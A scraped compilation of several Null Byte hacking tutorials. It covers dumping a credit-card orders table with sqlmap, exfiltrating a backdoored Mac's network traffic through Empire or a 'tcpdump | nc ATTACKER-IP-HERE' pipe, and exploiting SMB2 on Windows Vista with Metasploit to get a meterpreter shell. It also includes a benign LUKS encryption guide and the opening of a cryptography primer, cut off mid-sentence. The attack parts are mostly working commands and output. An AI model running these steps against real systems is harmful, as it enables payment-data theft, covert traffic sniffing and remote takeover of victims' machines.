ColumnsAs I'm sure you remember frommy earlier sqlmap tutorial, we were able to enumerate the databases, the tables, and the columns for the websitehttp://webscantest.com, such as we see below.When we enumerated the columns on the order table, we could see that this table includes some VERY valuable information, most importantly the credit card numbers used for orders on that website. It is that info that we want to extract to our system.Step 4: Extract the DataIf you look back onmy past MySQL guide, you will see that I showed you how to backup data from a MySQL database by using the sqldump command. This is one of the many ways a database admin can back-up there data in MySQL. What we will do here is essentially the same, but here we will use the sqlmap tool to produce nearly the same result.The critical parts here are; (1) use the keyword --dump; (2) then define the database (-D); and (3) define the table (-T) we want to extract the data from with a statement such as this:./sqlmap.py -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" --dump -D scanme -T ordersWhen we run this command, we get results like that below where the data from the database scanme's tableordershas been "dumped" to a comma separated values file (CSV) and has been stored at:/pentest/databse/sqlmap/output/http://www.webscantest.com/dump/scanme/orders.csvOf course, the location of the file is going to be dependent upon the name of the website, the database name, and the table name.Now that we have the credit card numbers, we have accomplished what Jason never could, we have the "Golden Fleece"!Stay tuned for more adventures indatabase hackinghere onNull Bytefor more guides soon to come.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Hack TOR Hidden ServicesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)SQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Hack and Decrypt WhatsApp Database (Remotely) [ROOT]How To:SQL Injection! -- Detailed Introduction.Hack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How To:Hack websites with SQL injectionHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow To:Wardrive on an Android Phone to Map Vulnerable NetworksHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)How To:Enumerate MySQL Databases with MetasploitHow To:Grab All the PasswordsHack Like a Pro:How to Find the Exact Location of Any IP AddressHow To:Put your MS Access databases on your websiteHow To:Gather Information on PostgreSQL Databases with MetasploitHack Logs and Linux Commands:What's Going On Here?News:PostgreSQL Quick StartNews:Accessing a PostgreSQL Database in your C/C++ ProgramIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseNews:ShouldIChangeMyPassword.comGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:MEDIA MANAGERS ( REVIEWED!... )News:FBI Shuts Down One of the Biggest Hacking ForumsHow To:Protect Your PHP Website from SQL Injection Hacks |
Hacking macOS: How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration) Β« Null Byte :: WonderHowTo | With therise of website encryption(TLS), sniffing passwords from network activity has become difficult. However, it's still possible to quietly exfiltrate a target's network traffic in real time to extract passwords and sensitive information. Pertaining to macOS, there are two methods for retrieving traffic from a backdoored Mac.The first method requiresEmpire, a post-exploitation framework. Empire can beembedded into a MacBookusing aUSB Rubber Ducky, duringsingle-user mode attacksor by social engineering the target into running a malicious command. The Empiresniffermodule makes capturing and exfiltrating traffic easy.Don't Miss:How to Install a Persistent Empire Backdoor on a MacBookMethod two doesn't require any post-exploitation frameworks and is much more discreet. This technique may be more desirable for users trying toevade antivirus(AV) detection as some Empire modules are flagged as malicious. From aprimitive Netcat backdoor, it's possible to use Tcpdump (which comes preinstalled on macOS) to capture network traffic and exfiltrate the data using a Netcat tunnel. This technique would be deemed "living off the land," and may be preferred by readers trying to remain completely undetected on the device.Option 1: Use the Empire Sniffer ModuleAfterestablishing an Empire backdoorandcreating a listenerto receive connections from the compromised MacBook, enter theusemodulecommand to enable thesniffermodule.(Empire: V9DGUVIL) > usemodule collection/osx/sniffer*Use theoptionscommand to view the available settings.(Empire: python/collection/osx/sniffer) > options
Name: PcapSniffer
Module: python/collection/osx/sniffer
NeedsAdmin: True
OpsecSafe: False
Language: python
MinLanguageVersion: 2.6
Background: False
OutputExtension: pcap
Authors:
Alex Rymdeko-Harvey
@Killswitch-GUI
Description:
This module will do a full network stack capture.
Comments:
Using libpcap.dylib we can perform full pcap on a remote
host.
Options:
Name Required Value Description
---- -------- ------- -----------
PcapDylib True /usr/lib/libpcap.A.dylib Path of the Pcap Dylib (Defualt)
Agent True V9DGUVIL Agent to run from.
MaxPackets True 100 Set max packets to capture.
SavePath True /tmp/debug.pcap Path of the file to save
CaptureInterface False Set interface name ie. en0 (Auto resolve
by default)
Debug True False Enable to get verbose message status
(Dont enable OutputExtension for this).
LibcDylib True /usr/lib/libSystem.B.dyl Path of the std C Dylib (Defualt)TheMaxPacketsoption determines when the packet sniffer should be terminated. By default, it's set to 100 packets, which is quite low. A value much higher, like 1,000 or 10,000 may be more desirable for most scenarios. Change the MaxPackets value using the belowsetcommand.(Empire: python/collection/osx/sniffer) > set MaxPackets 1000Empire will capture packets and save them on the macOS device to a file named "debug.pcap" in the /tmp/ directory. To change the directory, use the below command. Keep in mind, creating files on the compromised device may be dangerous for reasons I'll explain later in Option 2.(Empire: python/collection/osx/sniffer) > set SavePath /path/to/new/directory/outputFilename.pcapFinally,executeto begin sniffing traffic on the backdoored macOS device.(Empire: python/collection/osx/sniffer) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked V9DGUVIL to run TASK_CMD_WAIT_SAVE
[*] Agent V9DGUVIL tasked with task ID 9
[*] Tasked agent V9DGUVIL to run module python/collection/osx/sniffer
(Empire: python/collection/osx/sniffer) >After a few seconds, Empire will automatically exfiltrate the PCAP (packet capture) to your Kali system and report a new PCAP file containing the sniffed traffic was saved to your Empire directory.[*] Compressed size of tokyoneons-MacBook-Air.local.pcap download: 294 KB
[*] Final size of tokyoneons-MacBook-Air.local.pcap wrote: 381 KB
[+] File sniffer/tokyoneons-MacBook-Air.local.pcap from V9DGUVIL saved
[*] Agent V9DGUVIL returned results.
Output saved to ./downloads/V9DGUVIL/sniffer/tokyoneons-MacBook-Air.local.pcap
[*] Valid results returned by 192.168.0.133Navigate to the /path/to/Empire/downloads/<TARGET>/sniffer/ directory to find the PCAP if Empire is running locally. Alternatively, if Empire is running on aVPS, its directories can be synced to a local machine usingSyncthing, a secure file-sharing software.Don't Miss:The White Hat's Guide to Choosing a Virtual Private ServerOption 2: Use Tcpdump to Sniff TrafficAs I mentioned earlier,Tcpdump, a command-line network traffic analyzer, comes preinstalled in macOS devices. Unlike Empire, Tcpdump will be configured to immediately send (exfiltrate) the data to the attacker's machine. Using this method, the attacker will not need to create (suspicious) PCAP files in any location on the target device. Creating files on the compromised device can be dangerous and alert the victim to our presence.Before we can capture and exfiltrate sniffed traffic from the macOS device, we'll need to set up a listening service to receive the incoming data. To do this, we'll use Netcat in Kali.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking Toolsnc -l -p 7777 | tee /tmp/sniffed_output.pcapng
tcpdump: listening on wlan0, link-type AAAAAA (Ethernet), capture size 262144 bytesNetcat will listen (-l) for incoming connections on port (-p)7777. The port number here is arbitrary and can be anything you want. Netcat will then pipe (|) the packets intotee, which will write the data to a local file on the attacker's system.Now,from a backdoor, use the following command to capture traffic and send it to the attacker's Netcat listener./usr/sbin/tcpdump -w - | nc ATTACKER-IP-HERE 7777
tcpdump: data link type PKTAP
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
Got 665Both Netcat terminals must remain open to continue capturing, sending, and receiving data. The-win this command is required for Tcpdump to output data in a pipable format and effectively send the data through the Netcat tunnel. Other Tcpdump arguments and filters can be used before sending data through the pipe, but the-wmust always be present.The "Got 665" in the above terminal indicates how many packets were sent to the attacker's system. This number will increase as the victim continues to use the internet.To stop the packet exfiltration (without losing the Netcat backdoor), pressCtrl-Cin the attacker's Netcat terminal. The captured data can be analyzed for sensitive information using theTsharkandWireshark, which I'll show how using in my next article. And that's it for capturing and exfiltrating network activity from macOS devices.Next Up:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byDaniel Putzer/PEXELSRelatedHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)How To:The Ultimate Guide to Hacking macOSMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Hack LAN passwords with EttercapHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Build an FTP Password Sniffer with Scapy and PythonHow To:Securely Sniff Wi-Fi Packets with SniffglueHack Like a Pro:How to Conduct a Simple Man-in-the-Middle AttackHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)Hack Like a Pro:How to Use Driftnet to See What Kind of Images Your Neighbor Looks at OnlineHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack a Mac Password Without Changing ItHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Use Ettercap to Intercept Passwords with ARP SpoofingMac for Hackers:How to Get Your Mac Ready for HackingHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Crack Wi-Fi PasswordsβFor Beginners!How To:Packet sniff networks with the fundamentalsMac for Hackers:How to Install the Metasploit FrameworkHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Free Wi-Fi from Hotels & MoreHow To:Hack Mac OS X Lion PasswordsHow To:Bypass a Local Network Proxy for Free InternetNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and Daggers |
How to Hack Like a Pro: Hacking Windows Vista by Exploiting SMB2 Vulnerabilities Β« Null Byte :: WonderHowTo | Hi, gang! Time for another hack using Metasploit.We haveexploited Windows XP(a very insecure operating system) and we have exploited Ubuntu and installed Meterpreter on a Linux systemexploiting the Samba service. Several of you have asked for a hack on more modern Windows systems, so here goes.In this module, we hack into Windows Vista or Windows Server 2008 using a vulnerability found in SMB2. As you know, SMB2 is an application level protocol used to share files, folders and printers on Windows systems. SMB2 is the revised version of Microsoft's SMB that was introduced in 2006 and is used in Windows Vista and Windows Server 2008 (SMB and SMB2 have been plagued with security vulnerabilities from the very beginning).Soβ¦ let's get started. Boot up your Linux operating system, open a terminal, and load theMetasploit Framework.Step 1: Scanning the Network for SMB2Before we begin to exploit, we need to scan the network to find the SMB identifiers for the systems we want to hack. Metasploit has multiple auxiliary modules that can help us with many of the preliminary tasks of hacking, such as scanning our victim network to obtain necessary information. In this case, we will use the auxiliary module scanner/smb/smb_version to scan the network.msf > use scanner/smb/smb_versionStep 2: Seeing Our OptionsNext, we need to see our options.msf auxiliary(smb_version) > show optionsNotice from the screen capture that Metasploit displays our options for this auxiliary module.Step 3: Setting Our OptionsNote here that we need to set our RHOSTS and THREADS. We set our RHOSTS to our targeted address range, in this case 192.168.1.0 through 192.168.1.255 (yours may be different depending upon your network).msf auxiliary(smb_version) > set RHOSTS 192.168.1.0-192.168.1.255RHOSTS => 192.168.1.0- 192.168.1.255We then set the number of concurrent threads to 50.msf auxiliary(smb_version) > set THREADS 50THREADS => 50By typing show options again, we can see that Metasploit has set our options as we have defined them.msf auxiliary(smb_version) > show optionsIf we have done everything correctly, Metasploit will show that we have set our options properly.Step 4: Scanning for SMB2Next, we need to run our SMB scan on the network.msf auxiliary(smb_version) > runWe can see that this scan returns results on all the machines on the defined network giving us critical information on the operating system version, the service pack, and the computer name. In my screenshot example, I have just one computer on the network and the scan correctly identifies the operating system, the service pack, and the computer name.Step 5: Setting Up Our Exploit ModuleNow that we know there are systems available that are using SMB, we can load the appropriate module in Metasploit, in this case ms09_050_smb2_negotiate_func_index.msf auxiliary(smb_version) > use windows/smb/ms09_050_smb2_negotiate_func_indexTo learn more about this exploit module, we can simply type info.msf exploit(ms09050_smb2_negotiate_func_index) > infoAs you can see in the screenshot above, Metasploit provides us critical background information on this exploit.Step 6: Setting Up Our PayloadNow we set our payload to the Windows.msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpWe then need to set the RHOST...msf exploit(ms09050_smb2_negotiate_func_index) > set RHOST 192.168.1.100RHOST => 192.168.1.100And LHOST.msf exploit(ms09_050_smb2_negotiate_func_index) > set LHOST 192.168.1.111LHOST => 192.168.1.111Step 7: Checking Our Payload OptionsWe need to check to make certain our options are set properly by typing show options.msf exploit(ms09_050_smb2_negotiate_func_index) > show optionsStep 8: Exploiting the Vista BoxFinally, we exploit SMB2 on the Vista system.msf exploit(ms09_050_smb2_negotiate_func_index) > exploitStep 9: Using the MeterpreterThe Vista system then returns a Meterpreter prompt and we type sysinfo.meterpreter > sysinfoComputer: PUPEN-SNOWBLACKOS : Windows Vista (Build 6001, Service Pack 1).Arch : x86Language: en_USWe then type shell to get a shell on our victim system.meterpreter > shellYou have now successfully hacked the Windows Vista box. If this hack doesn't work the first time, try again. Hacking is often a matter of probabilities and all hacks don't work all the time.Look for future how-to articles on using the Meterpreter to control the owned box, using it to pivot attacks from, and cover your tracks.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7Hack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Find the Latest Exploits and VulnerabilitiesβDirectly from MicrosoftHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHack Like a Pro:How to Hack the Shellshock VulnerabilityHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Create Windows 7 GodModeNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreWeekend Homework:How to Become a Null Byte ContributorNews:unlock the windows 7 vista hidden admin accountHow To:Restore Windows Master Boot Record on VistaHow To:Change Windows Clock To 12 Hour Time |
How to Hide Sensitive Files in Encrypted Containers on Your Linux System Β« Null Byte :: WonderHowTo | As penetration testers, we sometimes need to securely store customer data for prolonged periods. Bruteforce-resistant, vault-like containers can be created with just a few commands to protect ourselves from physical attacks and unintended data disclosures.The subject ofcryptography and encryptionare incredibly vast and complex. Rather than diving intociphers, algorithms, AES, hash functions, andLUKS, this article will focus more on walking readers through setting up a simple but very secure file container.Essentially, we'll be creating a container (a file) that acts like a vault. When it's unlocked, we can store sensitive data collected during red team and post-exploitation engagements. When the container is locked, no one will be able to view files stored inside.Don't Miss:How to Hide Secret Data Inside an Image or Audio File in SecondsI'll be using Kali Linux for the duration of this tutorial. Ubuntu and Debian users will be able to follow along and should use a non-root terminal to run the following commands. Thesudocommand is prepended where root privileges are necessary. If you're using Ubuntu or Debian, prependsudoas instructed.Step 1: Create a Key to Unlock the ContainerTo get started, we'll create a file to act as the master key to unlock the container. I'm advising against password use here because a key file will completely thwart any potential for password brute-force attacks against the container.dd if=/dev/urandom of=/path/to/master.keyfile bs=4096 count=1
1+0 records in
1+0 records out
4096 bytes (4.1 kB, 4.0 KiB) copied, 0.000300577 s, 13.6 MB/sThe key file name is arbitrary. For simplicity, I'm using "master.keyfile" in the above example. Theddcommand will randomly (/dev/urandom) generate a key file of exactly4096bytes, which is exponentially stronger than any possible 32-character password we can think of. This key file can be saved to aUSB thumb drivefor safekeeping or stored on a remote server. Don't share, email, or lose this file. Without it, the container will be impossible to unlock!Recommended Storage:SanDisk Ultra 32 GB USB 3.1 Flash Drive (Amazon|Best Buy|Walmart)Step 2: Create an Empty ContainerNext, we'll useddandzeroto create an empty file full ofnull characeters. This will allow us to create an empty container of a specified size.dd if=/dev/zero of=/path/to/CONTAINER bs=1 count=0 seek=1G
0+0 records in
0+0 records out
0 bytes copied, 0.000190114 s, 0.0 kB/sThere are two values in the above command you'll need to change. Thepathto the "CONTAINER" should be named more appropriately. Something like "Vault" or "Encrypted" might make more sense β so you don't forget which file is being used to store sensitive data. Alternatively, if you were trying to disguise the container's true contents, naming it something like "TaylorSwift.mp3" and placing it in a directory full of songs might help evade passive forensics.I'm creating a container that's 1 gigabyte (seek=1G) in size. This means we'll only be allowed to store up to 1 gigabytes worth of data inside the encrypted file. This value can be increased or decreased as needed. For example, a container 250 megabytes is represented as "250M." A very small container of 750 kilobytes is represented as "750K."Step 3: Encrypt the ContainerNext, we'll encrypt the container using the belowcryptsetupcommand.sudo cryptsetup -y -c aes-xts-plain64 -s 512 -h sha512 -i 5000 --use-random luksFormat /path/to/CONTAINER /path/to/master.keyfile
WARNING!
========
This will overwrite data on /tmp/CONTAINER irrevocably.
Are you sure? (Type uppercase yes): YES
Key slot 0 created.
Command successful.The cipher (-c), key size (-s), and hash function (-h) are all set to strong values and should not be modified. Thiscryptsetupcommand will format (luksFormat) the CONTAINER and encrypt it using the "master.keyfile" to lock and unlock it.You'll be asked to enter "YES" in all uppercase (capslock) letters to proceed. This process can take several minutes to complete depending on how large the container is. A container of 100 GB in size may take up to five minutes.Step 4: Unlock the ContainerWhen that's done, we'll need to unlock the CONTAINER to format the volume.sudo cryptsetup luksOpen /path/to/CONTAINER PRIVATE --key-file /path/to/master.keyfileThiscryptsetupcommand will unlock (luksOpen) our container using the "master.keyfile" (--key-file) created in step one. Themapper point("PRIVATE") is used for mapping (and later mounting) devices and volumes. The name "PRIVATE" is arbitrary and can be renamed to anything.Step 5: Format the Unlocked VolumeFormatting the unlocked CONTAINER will allow us to actually read and write data to the volume. There are many usable format types such asFAT32 and NTFS. I'll be usingExt4, a widely-supported and flexible Unix format. Any Debian or Ubuntu machine will be able to unlock and read files stored in the container.Use the belowmkfscommand to format the unlocked container.sudo mkfs.ext4 /dev/mapper/PRIVATE
mke2fs 1.44.3 (10-July-2018)
Creating filesystem with 261632 4k blocks and 65408 inodes
Filesystem UUID: 948eae1b-dd6d-4910-8a3c-3474488bdf0c
Superblock backups stored on blocks:
32768, 98304, 163840, 229376
Allocating group tables: done
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: doneStep 6: Mount the Unlocked Volume to a Local DirectoryFirst, create a directory using themkdircommand. When the volume is unlocked and mounted, files in the container will be accessible in this directory. I'm calling the directory "Private" but it can be renamed to anything.mkdir ~/PrivateThen, use the below command tomountthe unlocked volume to the new ~/Private directory.sudo mount /dev/mapper/PRIVATE ~/PrivateUsingmountis much like inserting a USB into your laptop. Kali users can access the contents by navigating to /root/Private using the File Manager.Ubuntu and Debian users can navigate to /home/<username>/Private to access the contents as well.Step 7: Set File PermissionsThis command is especially important for Ubuntu and Debian users. Set the volume permissions so that non-root users can access data in the container when it's unlocked. Otherwise, only root users will be able to modify content in the container.sudo chown -R "$USER":"$USER" ~/PrivateThechowncommand will recursively (-R) change the permissions of the unlocked container and its contents to the current users ($USER) permission setting.Step 8: Lock the Container When You're DoneWhen you're done adding or deleting files in the container, use the belowumountcommand to unmount the volume and lock (luksClose) the container.sudo umount /root/Private && sudo cryptsetup luksClose PRIVATEStep 9: Unlock the Container When You Need ItIn the future, when you need to unlock the container again, use the below command to unlock (luksOpen) the container.sudo cryptsetup luksOpen /path/to/CONTAINER PRIVATE --key-file /path/to/master.keyfileThen, mount the volume to a local directory using themountcommand.sudo mount /dev/mapper/PRIVATE ~/PrivateAutomating Secure Container Creation (Optional)For this article, I created an interactive Bash script for automating the creation of secure containers. It will ask the user to select a container name, key file name, mount point, and specify the container size. The rest of the process is fully automated and takes less than 60 seconds to complete.#!/bin/bash
G="\033[1;32m";
N="\033[0;39m";
function notification ()
{
echo -e "$G" "\n[+] $1" "$N"
};
function nameVol ()
{
read -p "Name of encrypted container (e.g., "Vault", "grocerylist.txt"): " vol_name;
if [[ ! -n "$vol_name" ]]; then
vol_name='EncryptedContainer';
fi
};
function nameKey ()
{
read -p "Name of Key file (e.g., "master.keyfile", "image.jpg"): " key_file;
if [[ ! -n "$key_file" ]]; then
key_file='master.keyfile';
fi
};
function nameMount ()
{
read -p "Where to mount the container when it's unlocked (e.g., "luksPrivate"): " mount_dir;
if [[ ! -n "$mount_dir" ]]; then
mount_dir='luksPrivate';
fi
};
function nameSize ()
{
read -p "Choose volume size (e.g., 10G, 200M): " vol_size;
if [[ ! -n "$vol_size" ]]; then
vol_size='1G';
fi
};
function ddZero ()
{
dd if=/dev/zero of="$vol_name" bs=1 count=0 seek="$vol_size" && notification "Empty volume created."
};
function ddRandom ()
{
dd if=/dev/urandom of="$key_file" bs=4096 count=1 && notification "Key file successfully created."
};
function encryptCon ()
{
sudo cryptsetup -y -c aes-xts-plain64 -s 512 -h sha512 -i 5000 --use-random luksFormat "$vol_name" "$key_file" && notification "Encrypted container created."
};
function encryptOpen ()
{
sudo cryptsetup luksOpen "$vol_name" "$mount_dir" --key-file "$key_file" && notification "Volume unlocked."
};
function mkfsFormat ()
{
sudo mkfs.ext4 /dev/mapper/"$mount_dir" && notification "Volume formatted."
};
function mountDir ()
{
if [[ ! -d $HOME/"$mount_dir"/ ]]; then
mkdir -p $HOME/"$mount_dir"/;
fi;
sudo mount /dev/mapper/"$mount_dir" "$HOME"/"$mount_dir"/ && notification "Volume mounted."
};
function volPerm ()
{
sudo chown -R "$USER":"$USER" "$HOME"/"$mount_dir" && notification "Volume permissions set. Don't lose the Key file!"
};
nameVol;
nameKey;
nameMount;
nameSize;
ddZero;
ddRandom;
encryptCon;
encryptOpen;
mkfsFormat;
mountDir;
volPermSimply save the above script to a file named "createContainer.sh," allow the script to execute (chmod), and run it using the following commands.chmod +x createContainer.sh
./createContainer.shBelow is a GIF of the script in action.Encrypt All the Things!There are many uses for encrypted containers. As a penetration tester, it's essential to store customer data in a secure location as you're working to prevent unintended file disclosures. As an every-day Ubuntu user, financial records, password files, and private photos can be easily secured using this method. With just a few simple steps, anyone can secure their data.If you have any questions or concerns regarding any step taken in this article, please feel free to leave a comment below.Don't Miss:How to Create a Reusable Burner OS in a Docker Hacking ContainerFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo bymarcos mayer; Screenshots by tokyoneon/Null ByteRelatedHow To:Encrypt Your Notes, Photos & Archives with EncryptPadHow To:Are Your Cloud Documents Safe from Hackers? Make Sure with These Free Cloud-Worthy Encryption ProgramsHow To:Encrypt & Hide Files, Photos, & Videos on AndroidHow To:Protect sensitive files with an encrypted flash driveHow To:Make a Secret Encrypted DriveHow To:Secure your sensitive data in Ubuntu with encryptionThe Hacks of Mr. Robot:How to Hide Data in Audio FilesHow To:Deleting Your Files CompletelyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:Turtl - Encrypted Cloud NotesHack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Encrypt Your Sensitive Files Using TrueCryptSecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Bypass Windows and Linux PasswordsHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionUncrackable File Sharing:Securely Transfer Your Secrets with 4096-Bit EncryptionNews:Simple XOR Text Encryption and Decryption in Visual C#How To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:A Guide to Steganography, Part 1: How to Hide Secret Messages in ImagesHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Permanently Delete Files to Protect Privacy and PasswordsHow To:Recover WinRAR and Zip PasswordsHow To:Recover Deleted Files in LinuxHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Create an SSH Tunnel Server and Client in LinuxNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:First Steps of Compiling a Program in LinuxHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:enable & disable Page File EncryptionHow To:Carve Saved Passwords Using CainHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Scan for Viruses in Windows Using a Linux Live CD/USBHow To:Chain VPNs for Complete AnonymityHow To:Install Linux to a Thumb DriveNews:Performance Hacks & Tweaks for LinuxHow To:A Guide to Steganography, Part 3: How to Hide Text and Images in PicturesHow To:Don't Get Caught! How to Protect Your Hard Drives from Data Forensics |
Hack Like a Pro: Cryptography Basics for the Aspiring Hacker Β« Null Byte :: WonderHowTo | Welcome back, my rookie hackers!As hackers, we are often faced with the hurdle of cryptography and encryption. In some cases, we use it to hide ouractionsand messages. Many applications and protocols use encryption to maintain confidentiality and integrity of data. To be able to crack passwords and encrypted protocols such as SSL and wireless, you need to at least be familiar with the concepts and terminology of cryptography and encryption.To many new hackers, all the concepts and terminology of cryptography can be a bit overwhelming and opaque. Cryptography is the science and art of hiding messages so that they are confidential, then "unhiding" them so that only the intended recipient can read them. Basically, we can say that cryptography is the science of secret messaging.With this brief overview for the newcomer, I hope to lift the fog that shrouds this subject and shed a tiny bit of light on cryptography. I intend this simply to be a quick and cursory overview of cryptography for the novice hacker, not a treatise on the algorithms and mathematics of encryption. I'll try to familiarize you with the basic terminology and concepts so that when you read about hashing,wireless cracking, orpassword crackingand the encryption technologies are mentioned, you have some grasp of what is being addressed.Don't get me wrong, I don't intend to make you a cryptographer here (that would take years), but simply to help familiarize the beginner with the terms and concepts of cryptography so as to help you become a credible hacker.I will attempt to use as much plain English to describe these technologies as possible, but like everything in IT, there is a very specialized language for cryptography and encryption. Terms like cipher, plaintext, ciphertext, keyspace, block size, and collisions can make studying cryptography a bit confusing and 